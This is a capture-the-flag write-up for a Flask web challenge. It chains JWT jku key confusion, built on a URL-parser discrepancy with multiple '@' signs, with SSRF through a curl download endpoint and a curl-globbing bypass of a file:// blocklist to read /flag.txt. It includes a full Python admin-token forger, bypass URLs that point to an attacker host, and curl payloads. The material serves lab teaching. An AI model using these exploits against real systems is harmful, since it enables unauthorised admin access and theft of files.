Writeup Aria
C2C Qualification EnglishWeb

clicker

alt text

Description

Author: lordrukie x beluga

I am too addicted to this clicker game, so I decided to make it myself.

Overview

This challenge is a Flask‑based web application that uses JWT authentication to control access for users and admins.

The main vulnerabilities in this challenge are:

  • JWT Key Confusion via the jku parameter
  • Server‑Side Request Forgery (SSRF) + parser discrepancy
  • Bypass of the file:// scheme filter using curl globbing

Goal: Gain admin access and read a sensitive file (/flag.txt) from the server.

Protections:

  • The /api/admin/* endpoint can only be accessed by admins
  • The server attempts to restrict JWKS sources and block access to file://

AI-assisted output

1771297314903

Solution Steps

1. Privilege Escalation (JWT Key Confusion)

The application uses JWT with JWKS support through the jku header parameter. The server fetches the public key from that URL to verify the token signature.

To prevent attackers from using JWKS from external domains, the developer implemented the following validation function:

def validate_jku_url(url):
    allowed_domains = ['localhost', '127.0.0.1']
    allowed_ports = ['80', '443', '5000', '8080']
    if not url:
        return False
    scheme = extract_scheme(url)
    if not scheme:
        return False
    domain = extract_domain(url)
    path = extract_path(url)
    domain_only = domain
    if ':' in domain:
        domain_only, port = domain.split(':', 1)
        if port not in allowed_ports:
            return False
    if domain_only not in allowed_domains:
        return False
    if not path.endswith('jwks.json'):
        return False
    return True

The purpose of this validation is to ensure:

  • Domain must be: localhost or 127.0.0.1
  • Port must be one of: 80, 443, 5000, 8080
  • Path must end with: jwks.json

Root Cause Vulnerability: Improper URL Parsing

The main issue is in the extract_domain function:

def extract_domain(url):
    url_without_scheme = remove_scheme(url)
    domain_and_port = url_without_scheme.split('/')[0]
    if '@' in domain_and_port:
        parts = domain_and_port.split('@')
        domain_and_port = parts[1]
    return domain_and_port

This function attempts to handle the format: http://user@domain/path However, the implementation is incorrect because:

parts = domain_and_port.split('@')
domain_and_port = parts[1]

It only takes the part after the first @, not the last one.

Exploit Technique: Multiple @ Confusion

An attacker can craft a URL such as:

http://a@localhost:5000@attacker.com/jwks.json

Let’s see how the function processes this URL:

Step 1 — remove_scheme Input: http://a@localhost:5000@attacker.com/jwks.json Output: a@localhost:5000@attacker.com/jwks.json

Step 2 — extract_domain

domain_and_port = url_without_scheme.split('/')[0]

Result:

a@localhost:5000@attacker.com

Then:

domain_and_port = parts[1]

Result:

localhost:5000

Validation succeeds because:

  • domain_only = localhost
  • port = 5000 Both are whitelisted.

However, the HTTP client will use a different host. According to the URL parsing standard:

http://a@localhost:5000@attacker.com/jwks.json

The actual host is:

attacker.com

Therefore:

  • validate_jku_url → considers it safe
  • HTTP client → fetches JWKS from attacker.com

This is called a Parser Discrepancy Vulnerability.

Exploit Step: Forge Admin JWT

To exploit this vulnerability, I created a custom script.

This script automates the JWT JKU confusion exploit by:

  • Generating an attacker RSA key pair
  • Creating JWKS from the attacker public key
  • Creating a malicious JKU that bypasses server validation
  • Forging an admin JWT using the attacker private key
  • Saving artifacts and producing a ready‑to‑use token
import argparse
import base64
import importlib.util
import json
import time
from pathlib import Path
from typing import Any
from urllib.parse import urlparse

def b64url_uint(value: int) -> str:
    raw = value.to_bytes((value.bit_length() + 7) // 8, "big")
    return base64.urlsafe_b64encode(raw).rstrip(b"=").decode()

def normalize_host(host_or_url: str) -> str:
    candidate = host_or_url.strip()
    if not candidate:
        raise ValueError("attacker host/url is empty")

    if "://" in candidate:
        parsed = urlparse(candidate)
        if not parsed.netloc:
            raise ValueError("invalid attacker url")
        host = parsed.netloc
    else:
        host = candidate

    if host.endswith("/"):
        host = host[:-1]

    return host

def build_bypass_jku(attacker_host: str, local_hint: str = "localhost:5000") -> str:
    return f"http://a@{local_hint}@{attacker_host}/jwks.json"

def generate_rsa_pair() -> tuple[bytes, Any]:
    from cryptography.hazmat.primitives import serialization
    from cryptography.hazmat.primitives.asymmetric import rsa

    private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
    private_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.TraditionalOpenSSL,
        encryption_algorithm=serialization.NoEncryption(),
    )
    public_key = private_key.public_key()
    return private_pem, public_key

def jwk_from_public_key(public_key: Any, kid: str) -> dict:
    numbers = public_key.public_numbers()
    return {
        "kty": "RSA",
        "kid": kid,
        "use": "sig",
        "alg": "RS256",
        "n": b64url_uint(numbers.n),
        "e": b64url_uint(numbers.e),
    }

def write_artifacts(out_dir: Path, private_pem: bytes, jwks_doc: dict) -> tuple[Path, Path]:
    out_dir.mkdir(parents=True, exist_ok=True)
    private_path = out_dir / "attacker_private.pem"
    jwks_path = out_dir / "jwks.json"

    private_path.write_bytes(private_pem)
    jwks_path.write_text(json.dumps(jwks_doc, indent=2), encoding="utf-8")
    return private_path, jwks_path

def build_token(private_pem: bytes, kid: str, jku: str, username: str, user_id: int, ttl_hours: int) -> str:
    import jwt

    payload = {
        "user_id": user_id,
        "username": username,
        "is_admin": True,
        "exp": int(time.time()) + (ttl_hours * 3600),
        "jku": jku,
    }
    return jwt.encode(payload, private_pem, algorithm="RS256", headers={"kid": kid})

def test_admin(target_base: str, token: str) -> tuple[int, str]:
    import requests

    url = target_base.rstrip("/") + "/api/admin/settings"
    response = requests.get(url, headers={"Authorization": f"Bearer {token}"}, timeout=10)
    return response.status_code, response.text

def main() -> None:
    required_modules = ["jwt", "requests", "cryptography"]
    if any(importlib.util.find_spec(module) is None for module in required_modules):
        print("Missing dependencies. Install first:")
        print("pip install pyjwt cryptography requests")
        return

    parser = argparse.ArgumentParser(description="Forge admin JWT for web_clicker JKU confusion bug")
    parser.add_argument("--attacker", required=True, help="Public host/url serving jwks.json (example: abcd.ngrok-free.app)")
    parser.add_argument("--target", default="http://challenges.1pc.tf:46986", help="Target base URL")
    parser.add_argument("--kid", default="key1", help="JWT kid header value")
    parser.add_argument("--username", default="admin", help="Username claim")
    parser.add_argument("--user-id", type=int, default=1, help="User ID claim")
    parser.add_argument("--ttl-hours", type=int, default=24, help="Token lifetime in hours")
    parser.add_argument("--out-dir", default="./clicker_artifacts", help="Output directory for private key + jwks")
    parser.add_argument("--local-hint", default="localhost:5000", help="Allowed host:port hint in bypass jku")
    parser.add_argument("--test", action="store_true", help="Send verification request to /api/admin/settings")
    args = parser.parse_args()

    attacker_host = normalize_host(args.attacker)
    bypass_jku = build_bypass_jku(attacker_host, args.local_hint)

    private_pem, public_key = generate_rsa_pair()
    jwk = jwk_from_public_key(public_key, args.kid)
    jwks_doc = {"keys": [jwk]}
    private_path, jwks_path = write_artifacts(Path(args.out_dir), private_pem, jwks_doc)

    token = build_token(
        private_pem=private_pem,
        kid=args.kid,
        jku=bypass_jku,
        username=args.username,
        user_id=args.user_id,
        ttl_hours=args.ttl_hours,
    )

    print("=== Artifacts ===")
    print(f"private key : {private_path}")
    print(f"jwks file   : {jwks_path}")
    print("\nServe jwks.json from your attacker host, then use this token:")
    print("\n=== Forged Admin Token ===")
    print(token)
    print("\n=== JKU used in token ===")
    print(bypass_jku)

    print("\n=== Quick test command ===")
    print(
        "curl "
        + args.target.rstrip("/")
        + "/api/admin/settings -H \"Authorization: Bearer "
        + token
        + "\""
    )

    if args.test:
        code, body = test_admin(args.target, token)
        print("\n=== Test response ===")
        print(f"status: {code}")
        print(body)

if __name__ == "__main__":
    main()

Example usage:

python3 forge_clicker_admin.py --attacker https://aria.my.id/jwks.json --target http://challenges.1pc.tf:24283

alt text

Copy the generated jwks.json file to your VPS or hosting server:

alt text


2. Verify Admin Access

After obtaining the admin token, the next step is to access the admin endpoints to confirm the token works correctly.

T='<FORGED_TOKEN>'
H="Authorization: Bearer $T"
U="http://challenges.1pc.tf:<PORT>"

curl -s "$U/api/admin/settings" -H "$H"
curl -s "$U/api/admin/files" -H "$H"

alt text


3. Server‑Side Request Forgery (SSRF) via /api/admin/download

After successfully gaining admin access using the forged JWT.

This endpoint allows admins to download files from arbitrary URLs and save them into the /static/ directory.

Source code analysis:

result = subprocess.run(
    ['curl', '-o', output_path, '--', url],
    capture_output=True,
    text=True,
    timeout=30
)

The server directly executes the command:

curl -o static/<filename> -- <user-controlled-url>

This means the server will perform an HTTP request to an attacker‑controlled URL. If successful, the file will be saved at:

/static/<filename>

And can be accessed via the browser.

Example request:

curl -X POST "$U/api/admin/download" \
  -H "$H" \
  -H "Content-Type: application/json" \
  -d '{
    "url":"http://127.0.0.1:5000/",
    "filename":"test.txt",
    "title":"test",
    "type":"image"
  }'
curl -s "$U/api/admin/files" -H "$H"

curl -s "$U/static/test.txt" -H "$H" | head -n 5

alt text

The output shows the internal server page content. This proves that SSRF works.


4. Bypass file:// Filter Using Curl Globbing

The developer attempted to block dangerous protocols using a blacklist:

blocked_protocols = ['dict', 'file', 'ftp', 'gopher', ...]
url_lower = url.lower().strip()
for proto in blocked_protocols:
    if url_lower.startswith(proto) or (proto + ':') in url_lower:
        return jsonify({'message': f'Blocked protocol: {proto}'}), 400

The goal is to block access such as:

file:///flag.txt

However, this validation is weak because it only checks literal strings.

Root Cause: Curl Globbing + Blacklist Bypass

Curl has a feature called globbing that allows patterns such as:

f[h-i]le:///flag.txt

Curl expands this into:

fihe:///flag.txt
file:///flag.txt

Example:

curl f[a-z]le:///flag.txt

alt text

The server validation only checks literal strings:

if url_lower.startswith("file")

As a result, the filter can be bypassed.

Exploit: Read the Flag

Send the following request:

curl -X POST "$U/api/admin/download" \
  -H "$H" \
  -H "Content-Type: application/json" \
  -d '{
    "url":"f[h-i]le:///flag.txt",
    "filename":"flag.txt",
    "title":"flag",
    "type":"image"
  }'

The server executes:

curl -o static/flag.txt -- f[h-i]le:///flag.txt

Curl performs globbing and accesses:

file:///flag.txt

The file is saved to:

/static/flag.txt

Retrieve the file using:

curl -s "$U/static/flag.txt" -H "$H"

alt text


Flag

C2C{p4rs3r_d1sr4p4ncy_4nd_curl_gl0bb1ng_1s_my_f4v0r1t3_e1e24a89bd25}

On this page